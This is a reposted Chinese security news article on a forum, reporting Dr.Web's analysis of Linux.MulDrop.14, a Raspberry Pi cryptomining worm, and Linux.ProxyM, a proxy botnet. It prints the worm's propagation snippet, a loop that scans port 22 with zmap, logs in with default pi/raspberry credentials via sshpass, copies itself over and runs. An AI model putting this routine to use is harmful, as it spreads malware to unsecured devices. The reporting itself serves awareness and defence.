搜索

[3907] 2017-06-11_两款新型Linux恶意软件一个感染树莓派挖加密货币,一个创建代理网络

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-16
2017-06-11_两款新型Linux恶意软件一个感染树莓派挖加密货币,一个创建代理网络 两 款 新 型 L i n u x 恶 意 软 件 : 一 个 感 染 树 莓 派 挖 加 密 货 币 , 一 个 创 建 代 理 网 络 原 创   E 安 全   E 安 全   2 0 1 7 - 0 6 - 1 1 更 多 全 球 网 络 安 全 资 讯 尽 在 E 安 全 官 网 w w w . e a s y a q . c o m E 安 全 6 月 1 1 日 讯   俄 罗 斯 反 病 毒 开 发 商 D r .   W e b 公 司 的 恶 意 软 件 研 究 人 员 们 已 经 发 现 了 两 款 新 型 L i n u x 恶 意 软 件 ， 分 别 名 为 K i n u x . M u l d r o p . 1 4 和 L i n u x . P r o x y M 。 K i n u x . M u l d r o p . 1 4 ： 主 要 用 于 挖 掘 加 密 货 币 ： 主 要 用 于 挖 掘 加 密 货 币 根 据 D r .   W e b 公 司 介 绍 ， K i n u x . M u l d r o p . 1 4 的 能 够 感 染 树 莓 派 （ R a s p b e r r y   P i ） 设 备 以 借 此 实 现 加 密 货 币 挖 掘 。 该 恶 意 软 件 于 今 年 5 月 份 被 首 次 发 现 ， 研 究 人 员 们 找 到 了 一 套 包 含 压 缩 与 加 密 应 用 程 序 的 脚 本 。 K i n u x . M u l D r o p . 1 4 主 要 针 对 具 备 S S H 外 部 开 放 端 口 的 非 安 全 树 莓 派 设 备 。 此 L i n u x 恶 意 软 件 为 一 款 包 含 采 矿 程 序 的 b a s h 脚 本 ， 其 利 用 g z i p 压 缩 并 配 合 b a s e 6 4 加 密 机 制 。 一 旦 被 启 用 ， 该 脚 本 将 关 闭 多 个 进 程 并 安 装 其 操 作 所 需 要 的 库 。
一 旦 此 L i n u x 恶 意 软 件 成 功 感 染 设 备 ， 其 即 会 首 先 修 改 “ p i ” 帐 户 的 密 码 内 容 ： $ 6 $ U 1 N u 9 q C p $ F h P u o 8 s 5 P s Q l H 6 l w U d T w F c A U P N z m r 0 p W C d N J j . p 6 l 4 M z i 8 S 8 6 7 Y L m c 7 B s p m E H 9 5 P O v x P Q 3 P z P 0 2 9 y T 1 L 3 y i 6 K 1 另 外 ， 该 恶 意 软 件 会 关 闭 多 项 进 程 并 安 装 Z M a p 以 及 s s h p a s s 等 库 。 在 此 之 后 ， 该 恶 意 软 件 会 启 动 一 个 加 密 货 币 挖 掘 进 程 ， 并 利 用 Z M a p 扫 描 互 联 网 以 寻 找 其 它 可 资 感 染 的 设 备 。 当 此 L i n u x 恶 意 软 件 在 互 联 网 上 找 到 某 一 台 树 莓 派 设 备 时 ， 其 会 利 用 s s h p a s s 以 尝 试 使 用 默 认 用 户 名 “ p i ” 及 默 认 密 码 “ r a s p b e r r y ” 进 行 登 录 。 该 恶 意 软 件 只 会 尝 试 使 用 数 个 值 ， 这 表 明 其 专 门 针 对 R a s p b e r r y   P i 设 备 。 专 家 们 认 为 ， 此 恶 意 软 件 可 实 现 进 一 步 改 进 ， 从 而 在 未 来 几 周 内 用 于 攻 击 其 它 平 台 。 以 下 为 以 下 为 D r .   W e b 公 司 公 布 的 代 码 片 段 ： 公 司 公 布 的 代 码 片 段 ： N A M E = ` m k t e m p   - u   ' X X X X X X X X ' ` w h i l e   [   t r u e   ] ;   d o F I L E = ` m k t e m p ` z m a p   - p   2 2   - o   $ F I L E   - n   1 0 0 0 0 0 k i l l a l l   s s h   s c p f o r   I P   i n   ` c a t   $ F I L E ` d o s s h p a s s   - p r a s p b e r r y   s c p   - o   C o n n e c t T i m e o u t = 6   - o   N u m b e r O f P a s s w o r d P r o m p t s = 1   - o   P r e f e r r e d A u t h e n t i c a t i o n s = p a s s w o r d   - o U s e r K n o w n H o s t s F i l e = / d e v / n u l l   - o   S t r i c t H o s t K e y C h e c k i n g = n o   $ M Y S E L F   p i @ $ I P : / t m p / $ N A M E   & &   e c h o   $ I P   > >   / t m p / . r   & &   s s h p a s s   - p r a s p b e r r y s s h   p i @ $ I P   - o   C o n n e c t T i m e o u t = 6   - o   N u m b e r O f P a s s w o r d P r o m p t s = 1   - o   P r e f e r r e d A u t h e n t i c a t i o n s = p a s s w o r d   - o   U s e r K n o w n H o s t s F i l e = / d e v / n u l l   - o S t r i c t H o s t K e y C h e c k i n g = n o   " c d   / t m p   & &   c h m o d   + x   $ N A M E   & &   b a s h   - c   . / $ N A M E "   & d o n e r m   - r f   $ F I L E s l e e p   1 0 d o n e L i n u x . P r o x y M ： 用 于 创 建 代 理 网 络 ： 用 于 创 建 代 理 网 络 D r .   W e b 公 司 的 研 究 人 员 们 还 分 析 了 另 一 款 新 型 L i n u x 恶 意 软 件 名 为 L i n u x . P r o x y M ， 其 主 要 用 于 创 建 代 理 网 络 。 攻 击 者 自 2 0 1 7 年 2 月 开 始 即 利 用 此 木 马 实 施 攻 击 ， 但 直 到 5 月 底 此 类 活 动 才 达 到 顶 峰 。 受 到 L i n u x . P r o x y M 感 染 的 设 备 数 量 如 今 已 经 超 过 1 万 台 。 下 图 所 示 为 D r .   W e b 公 司 安 全 专 家 们 所 确 定 的 L i n u x . P r o x y M 攻 击 活 动 数 量 。  
该 恶 意 代 码 会 在 受 感 染 设 备 上 创 建 一 套 S O C K S 代 理 服 务 器 ， 并 将 其 用 于 中 继 恶 意 流 量 以 掩 饰 真 实 来 源 。 1 1 E 安 全 要 闻 简 讯 安 全 要 闻 简 讯 官 网 ： 官 网 ： w w w . e a s y a q . c o m 2 0 1 7 年 年 6 月 月   0 1 全 球 首 例 利 用 英 特 尔 A M T S O L 接 口 窃 取 敏 感 数 据 的 攻 击 手 段 0 2 两 款 新 型 L i n u x 恶 意 软 件 : 一 个 挖 加 密 货 币 , 一 个 创 建 代 理 网 络 0 3 恐 袭 增 多 ! 欧 盟 想 直 接 获 取 美 国 科 技 公 司 存 储 在 各 成 员 国 的 用 户 数 据 0 4 揭 秘 纽 约 无 窗 摩 天 大 楼 : 隐 藏 N S A 的 监 听 基 地 , 能 抵 御 核 爆 0 5 德 国 总 理 默 克 尔 谈 安 全 威 胁 : 数 字 世 界 也 需 要 全 球 规 则 0 6   谁 黑 了 你 的 钱 ？ ！ 0 7 无 需 身 份 凭 证 ， 攻 击 者 利 用 漏 洞 可 任 意 登 录 F r e e R A D I U S 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理